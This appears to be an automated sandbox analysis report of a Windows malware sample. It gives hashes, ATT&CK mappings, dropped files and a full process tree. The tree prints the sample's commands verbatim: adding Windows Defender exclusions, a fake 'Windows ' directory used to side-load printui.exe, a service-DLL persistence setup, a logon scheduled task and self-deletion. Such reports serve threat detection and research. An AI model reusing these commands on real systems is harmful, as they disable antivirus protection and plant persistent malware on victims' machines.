b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb

Analysis

max time kernel
149s
max time network
154s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-12-2024 15:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

228c09c31156d45dfe94195bb34d1399.exe
Size

14.0MB
MD5

228c09c31156d45dfe94195bb34d1399
SHA1

20c6ce4757be1399032b2ac6873dc505c1d02839
SHA256

b76ecfa778793bdf379a63b55d60b4b3941e10b743e48ae3b414b3522212abdb
SHA512

003557ad24f826143a50cce81b56489c7768951ecdfef9b01fe645f5453ae8cf36bd1b2b6e5e3bd8d27131cf3a2d54d20b7c699ae582e2528b65aee8a560f40c
SSDEEP

393216:hPsdXtBcda7nzo7Vd7Qv1CPwDvt3uFRCyGTQP76NuudqfZnXSdEVB3:hITk1

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe
2108	powershell.exe
2824	powershell.exe
2972	powershell.exe
1860	powershell.exe
2756	powershell.exe
896	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file

Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\x279605\Parameters\ServiceDll = "C:\\Windows\\System32\\x279605.dat"	reg.exe

Deletes itself 1 IoCs

pid	Process
2128	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
2052	printui.exe
1928	console_zero.exe

Loads dropped DLL 14 IoCs

pid	Process
2704	cmd.exe
2052	printui.exe
1940	svchost.exe
1940	svchost.exe
1940	svchost.exe
1940	svchost.exe
2852	cmd.exe
1928	console_zero.exe
1928	console_zero.exe
1940	svchost.exe
1940	svchost.exe
1940	svchost.exe
1940	svchost.exe
1940	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
60	raw.githubusercontent.com
65	raw.githubusercontent.com
68	raw.githubusercontent.com
74	raw.githubusercontent.com
46	raw.githubusercontent.com
47	raw.githubusercontent.com
52	raw.githubusercontent.com
55	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ipinfo.io
5	ipinfo.io

Drops file in System32 directory 21 IoCs

description	ioc	Process
File created	C:\Windows\System32\winsvcf\winlogsvc	printui.exe
File created	C:\Windows\System32\vcruntime140d.dll	printui.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	\??\c:\windows\system32\winsvcf\x818642.dat	svchost.exe
File created	C:\Windows\System32\libssl-3-x64.dll	printui.exe
File created	C:\Windows\System32\libwinpthread-1.dll	printui.exe
File created	C:\Windows\System32\console_zero.exe	printui.exe
File created	C:\Windows\System32\x279605.dat	printui.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	\??\c:\windows\system32\winsvcf\x977508.dat	svchost.exe
File created	C:\Windows\System32\libcurl.dll	printui.exe
File created	C:\Windows\System32\zlib1.dll	printui.exe
File created	C:\Windows\System32\libpq.dll	printui.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\System32\ucrtbased.dll	printui.exe
File opened for modification	\??\c:\windows\system32\winsvcf\winlogsvc	svchost.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\System32\libcrypto-3-x64.dll	printui.exe
File created	C:\Windows\System32\libiconv-2.dll	printui.exe
File created	C:\Windows\System32\libintl-9.dll	printui.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2036	sc.exe
2032	sc.exe

Embeds OpenSSL 2 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral1/files/0x00060000000186bf-24.dat	embeds_openssl
behavioral1/files/0x000600000001932a-59.dat	embeds_openssl

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
844	timeout.exe
1036	timeout.exe
1916	timeout.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 708d43bcf052db01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2744	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2548	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2824	powershell.exe
2972	powershell.exe
1824	228c09c31156d45dfe94195bb34d1399.exe
1860	powershell.exe
2756	powershell.exe
896	powershell.exe
2760	powershell.exe
2108	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2108	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1824 wrote to memory of 1740	1824	228c09c31156d45dfe94195bb34d1399.exe	30
PID 1824 wrote to memory of 1740	1824	228c09c31156d45dfe94195bb34d1399.exe	30
PID 1824 wrote to memory of 1740	1824	228c09c31156d45dfe94195bb34d1399.exe	30
PID 1740 wrote to memory of 2824	1740	cmd.exe	32
PID 1740 wrote to memory of 2824	1740	cmd.exe	32
PID 1740 wrote to memory of 2824	1740	cmd.exe	32
PID 1824 wrote to memory of 2792	1824	228c09c31156d45dfe94195bb34d1399.exe	33
PID 1824 wrote to memory of 2792	1824	228c09c31156d45dfe94195bb34d1399.exe	33
PID 1824 wrote to memory of 2792	1824	228c09c31156d45dfe94195bb34d1399.exe	33
PID 2792 wrote to memory of 2972	2792	cmd.exe	35
PID 2792 wrote to memory of 2972	2792	cmd.exe	35
PID 2792 wrote to memory of 2972	2792	cmd.exe	35
PID 1824 wrote to memory of 2672	1824	228c09c31156d45dfe94195bb34d1399.exe	36
PID 1824 wrote to memory of 2672	1824	228c09c31156d45dfe94195bb34d1399.exe	36
PID 1824 wrote to memory of 2672	1824	228c09c31156d45dfe94195bb34d1399.exe	36
PID 1824 wrote to memory of 2704	1824	228c09c31156d45dfe94195bb34d1399.exe	38
PID 1824 wrote to memory of 2704	1824	228c09c31156d45dfe94195bb34d1399.exe	38
PID 1824 wrote to memory of 2704	1824	228c09c31156d45dfe94195bb34d1399.exe	38
PID 2704 wrote to memory of 2052	2704	cmd.exe	40
PID 2704 wrote to memory of 2052	2704	cmd.exe	40
PID 2704 wrote to memory of 2052	2704	cmd.exe	40
PID 1824 wrote to memory of 2128	1824	228c09c31156d45dfe94195bb34d1399.exe	41
PID 1824 wrote to memory of 2128	1824	228c09c31156d45dfe94195bb34d1399.exe	41
PID 1824 wrote to memory of 2128	1824	228c09c31156d45dfe94195bb34d1399.exe	41
PID 2052 wrote to memory of 2844	2052	printui.exe	43
PID 2052 wrote to memory of 2844	2052	printui.exe	43
PID 2052 wrote to memory of 2844	2052	printui.exe	43
PID 2128 wrote to memory of 844	2128	cmd.exe	45
PID 2128 wrote to memory of 844	2128	cmd.exe	45
PID 2128 wrote to memory of 844	2128	cmd.exe	45
PID 2844 wrote to memory of 1860	2844	cmd.exe	46
PID 2844 wrote to memory of 1860	2844	cmd.exe	46
PID 2844 wrote to memory of 1860	2844	cmd.exe	46
PID 2052 wrote to memory of 2348	2052	printui.exe	47
PID 2052 wrote to memory of 2348	2052	printui.exe	47
PID 2052 wrote to memory of 2348	2052	printui.exe	47
PID 2348 wrote to memory of 2036	2348	cmd.exe	49
PID 2348 wrote to memory of 2036	2348	cmd.exe	49
PID 2348 wrote to memory of 2036	2348	cmd.exe	49
PID 2348 wrote to memory of 2744	2348	cmd.exe	50
PID 2348 wrote to memory of 2744	2348	cmd.exe	50
PID 2348 wrote to memory of 2744	2348	cmd.exe	50
PID 2348 wrote to memory of 2032	2348	cmd.exe	51
PID 2348 wrote to memory of 2032	2348	cmd.exe	51
PID 2348 wrote to memory of 2032	2348	cmd.exe	51
PID 2052 wrote to memory of 2852	2052	printui.exe	53
PID 2052 wrote to memory of 2852	2052	printui.exe	53
PID 2052 wrote to memory of 2852	2052	printui.exe	53
PID 2852 wrote to memory of 1928	2852	cmd.exe	55
PID 2852 wrote to memory of 1928	2852	cmd.exe	55
PID 2852 wrote to memory of 1928	2852	cmd.exe	55
PID 2052 wrote to memory of 1464	2052	printui.exe	56
PID 2052 wrote to memory of 1464	2052	printui.exe	56
PID 2052 wrote to memory of 1464	2052	printui.exe	56
PID 2052 wrote to memory of 1704	2052	printui.exe	57
PID 2052 wrote to memory of 1704	2052	printui.exe	57
PID 2052 wrote to memory of 1704	2052	printui.exe	57
PID 1464 wrote to memory of 1916	1464	cmd.exe	60
PID 1464 wrote to memory of 1916	1464	cmd.exe	60
PID 1464 wrote to memory of 1916	1464	cmd.exe	60
PID 1704 wrote to memory of 1036	1704	cmd.exe	61
PID 1704 wrote to memory of 1036	1704	cmd.exe	61
PID 1704 wrote to memory of 1036	1704	cmd.exe	61
PID 1928 wrote to memory of 1108	1928	console_zero.exe	63

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\228c09c31156d45dfe94195bb34d1399.exe
"C:\Users\Admin\AppData\Local\Temp\228c09c31156d45dfe94195bb34d1399.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2824
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2972
- C:\Windows\system32\cmd.exe
  cmd.exe /c mkdir "\\?\C:\Windows \System32"
  2⤵
  PID:2672
- C:\Windows\system32\cmd.exe
  cmd.exe /c start "" "C:\Windows \System32\printui.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows \System32\printui.exe
    "C:\Windows \System32\printui.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2844
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1860
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create x279605 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x279605\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x279605.dat" /f && sc start x279605
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2348
    - - C:\Windows\System32\sc.exe
        
        sc create x279605 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
        5⤵
        Launches sc.exe
        
        PID:2036
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\services\x279605\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x279605.dat" /f
        5⤵
        Server Software Component: Terminal Services DLL
        Modifies registry key
        
        PID:2744
    - - C:\Windows\System32\sc.exe
        
        sc start x279605
        5⤵
        Launches sc.exe
        
        PID:2032
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2852
    - - C:\Windows\System32\console_zero.exe
        
        "C:\Windows\System32\console_zero.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1928
      - C:\Windows\System32\cmd.exe
        
        cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
        6⤵
        
        PID:1108
        
        C:\Windows\System32\schtasks.exe
        
        schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2548
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c timeout /t 14 /nobreak && rmdir /s /q "C:\Windows \"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1464
    - - C:\Windows\System32\timeout.exe
        
        timeout /t 14 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1916
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows \System32\printui.dll"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1704
    - - C:\Windows\System32\timeout.exe
        
        timeout /t 16 /nobreak
        5⤵
        Delays execution with timeout.exe
        
        PID:1036
- C:\Windows\system32\cmd.exe
  cmd.exe /c timeout /t 10 /nobreak && del /q "C:\Users\Admin\AppData\Local\Temp\228c09c31156d45dfe94195bb34d1399.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\system32\timeout.exe
    timeout /t 10 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k DcomLaunch
1⤵
- Loads dropped DLL
- Drops file in System32 directory
PID:1940
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
  2⤵
  PID:1044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2756
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
  2⤵
  PID:1664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:896
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'G:\'
  2⤵
  PID:2068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'G:\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2760
- C:\Windows\System32\cmd.exe
  cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'H:\'
  2⤵
  PID:2624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Add-MpPreference -ExclusionPath 'H:\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f1f1a278be81746b66a3c414254b8666

SHA1
1bd617c6cef1afd40c9c1b5df19b71a3a7754bf4

SHA256
c973b8d9f2b3f64be5329dbc30655ce84db79b1be57bddf12b17d9d2d66ea98a

SHA512
db3a2772aac3a16d74cfe11edd4e465ed09352f10f37d1cfd7c49e06bf3370bed902f8f5fef0c2372b808d72b38a9a5630eff16d75939ba910dbc7aa48301f9a

Download Submit
C:\Windows \System32\printui.dll

Filesize
13.5MB

MD5
d208410bae05cfa96a7c83c4ce614dd1

SHA1
2b120f3bd686cb5e7e29d338afab78dd9970c70c

SHA256
dc42b209da59c321377f42575f4a43e38036a6482556436b2774cfd08e402668

SHA512
949651249c8a40223dda7bb3183f620b7949cf0afd54cc57f34163595aaba03594e5bac06237d4367d025c3d05c6bc28fc81d4916eba04d8bcb35bf6031ff235

Download Submit
\??\c:\windows\system32\libcrypto-3-x64.dll

Filesize
4.5MB

MD5
158f0e7c4529e3867e07545c6d1174a9

SHA1
9ff0cccb271f0215ad24427b7254832549565154

SHA256
dcc1fa1a341597ddb1476e3b5b3952456f07870a26fc30b0c6e6312764baa1fc

SHA512
51e79d8d0ab183046f87aa659973b45147bb1e1ae8883f688c615ccb18bf9fccb8779dd872b01748bacd56e141bc096c2bb4ccf32ebd7a49adc76363355e40fe

Download Submit
\??\c:\windows\system32\libcurl.dll

Filesize
575KB

MD5
18ce47f58b4c1a9cfc1edf7c8bf49b7c

SHA1
e74d08ab06ed8200d7e674d8031d6df8250de8cb

SHA256
36d97f1c254832cee9698cea2f1a63ea98d231641fd29715ef581be103ace602

SHA512
19b2d6968095c4e8f08c66ab73e7ec5e0439712bcb2777266602ef2ad123a779395a3d44bc0c7c9945376998fb2165bc60e6bf682863a55a0cff40c720594bdd

Download Submit
\??\c:\windows\system32\libiconv-2.dll

Filesize
1.8MB

MD5
158bc77453d382cf6679ce35df740cc5

SHA1
9a3c123ce4b6f6592ed50d6614387d059bfb842f

SHA256
cf131738f4b5fe3f42e9108e24595fc3e6573347d78e4e69ec42106c1eebe42c

SHA512
6eb1455537cb4e62e9432032372fae9ce824a48346e00baf38ef2f840e0ed3f55acaee2656da656db00ae0bdef808f8da291dd10d7453815152eda0ccfc73147

Download Submit
\??\c:\windows\system32\libintl-9.dll

Filesize
464KB

MD5
e79e7c9d547ddbee5c8c1796bd092326

SHA1
8e50b296f4630f6173fc77d07eea36433e62178a

SHA256
1125ac8dc0c4f5c3ed4712e0d8ad29474099fcb55bb0e563a352ce9d03ef1d78

SHA512
dba65731b7ada0ac90b4122c7b633cd8d9a54b92b2241170c6f09828554a0bc1b0f3edf6289b6141d3441ab11af90d6f8210a73f01964276d050e57fb94248e2

Download Submit
\??\c:\windows\system32\winsvcf\winlogsvc

Filesize
400B

MD5
69a917e87181c8ae22d12bc473804047

SHA1
2669775daa5d3001f9d39053bfe8843a2845da11

SHA256
f0552385109708dc77e1bfb3b27c684313396282211aaec01cc742e4f98184db

SHA512
e0d31e53f7821a60d0d264ed436239eabc995315f5d20cdae6a7f9dc16e5e1857d284679b3208e2be748ddf6977325e8bad75987ce2d2dc7ad87cbba883298fb

Download Submit
\??\c:\windows\system32\x279605.dat

Filesize
1.9MB

MD5
dd6b814d79b44d3a17ef1175c724f199

SHA1
4b50ad258d2d177f22ed06ce3494dea67c180b22

SHA256
ed6bf39b821cf5ecb2e73b6021913b9d6f0fc73a82ee9e9c8b64b2a0eb7e917c

SHA512
60a92d0fe216eccf001abc9d90ab21d459c1442b999d3719129c17814bf529f19edcb35469ed79691072747e0f57c4c417600b8a398bfc1131f42d324a5fded2

Download Submit
\??\c:\windows\system32\zlib1.dll

Filesize
88KB

MD5
f53d1efea4855da42da07de49d80ba68

SHA1
920349f4bd5a5b8e77195c81e261dfa2177eb1ee

SHA256
7e9f43688189578042d791e3e5301165316edc7c1ed739e0669c033a3ca08037

SHA512
5d72f64b8e5c42a3c9a7bcbbe8a1598a85402ade4f312ab9e26869f8b39952a3aa037f2cf7da89e686c5bc3fcb221feeae077b9ffd2eef98dac0e307637fe7bd

Download Submit
\Windows \System32\printui.exe

Filesize
60KB

MD5
6cb8923169ca734dbb2706b56a0ba5ef

SHA1
1de97a2c9f8271355c75dfd417ba1b2f8e362b0d

SHA256
334b66ba0dc0eed2a9f842a86d755edcce6a0fdffeb153eb6a6dd9ed0d88683c

SHA512
ed564ccb426aff1ab7b54b07d4e47b75123a52864693a677b1e58c8edb1e4127de65962c93c9b2a23e643e979932f3014f97e8a569c2bfeeadb0b6147b99620e

Download Submit
\Windows\System32\console_zero.exe

Filesize
649KB

MD5
4eccb8f5d1edcf18a11abed91ff85c46

SHA1
4cf96ef88d3d042d050cc8d963ef2141975a196a

SHA256
3286edb355b9afcb9f08ca87967001a56685d2298014c82a672ef3769e232838

SHA512
ec8b97ce4712cf94e9c9f5c0454fcbc52559ac4d7d076bf76e2e6a3052fbf18696a5f1bc602a70a06d5101e3f1bcd8b64995a2d71731e7ccb939fe67224924f9

Download Submit
\Windows\System32\libpq.dll

Filesize
311KB

MD5
7eee6a30591a00c01f78007e954b502c

SHA1
360ff971de182db92ac8c785a6558b8510ee954c

SHA256
a25db94ff6564067ad5a54dcbdbb4feebae24a58fab0b7f9262f89dd00d5dc63

SHA512
b09fc93167654494731236b641771df373cf57843850eeb56047baecd24363205392293e34823e8aea66ba0e63df41fba0f8f003b067083e541f7056bfe8f385

Download Submit
\Windows\System32\libssl-3-x64.dll

Filesize
799KB

MD5
69d0fee0cc47c3b255c317f08ce8d274

SHA1
782bc8f64b47a9dcedc95895154dca60346f5dd7

SHA256
ba979c2dbfb35d205d9d28d97d177f33d501d954c7187330f6893bb7d0858713

SHA512
4955252c7220810ed2eaca002e57d25fbc17862f4878983c4351c917cf7873eb84ae00e5651583004f15a08789be64bdb34ff20cb0e172c9c1376706deb4aa1a

Download Submit
\Windows\System32\libwinpthread-1.dll

Filesize
51KB

MD5
9dc829c2c8962347bc9adf891c51ac05

SHA1
bf9251a7165bb2981e613ac5d9051f19edb68463

SHA256
ffe2d56375bb4e8bdee9037df6befc5016ddd8871d0d85027314dd5792f8fdc9

SHA512
fd7e6f50a21cb59075dfa08c5e6275fd20723b01a23c3e24fb369f2d95a379b5ac6ae9f509aa42861d9c5114be47cce9ff886f0a03758bfdc3a2a9c4d75fab56

Download Submit
memory/1940-90-0x0000000068280000-0x00000000682F0000-memory.dmp

Filesize
448KB

Download
memory/1940-67-0x0000000068280000-0x00000000682F0000-memory.dmp

Filesize
448KB

Download
memory/1940-69-0x0000000066000000-0x00000000661BD000-memory.dmp

Filesize
1.7MB

Download
memory/1940-68-0x0000000064940000-0x0000000064955000-memory.dmp

Filesize
84KB

Download
memory/2824-4-0x000007FEF602E000-0x000007FEF602F000-memory.dmp

Filesize
4KB

Download
memory/2824-5-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2824-6-0x0000000002380000-0x0000000002388000-memory.dmp

Filesize
32KB

Download
memory/2824-9-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-10-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-8-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-11-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2824-7-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2972-17-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2972-18-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download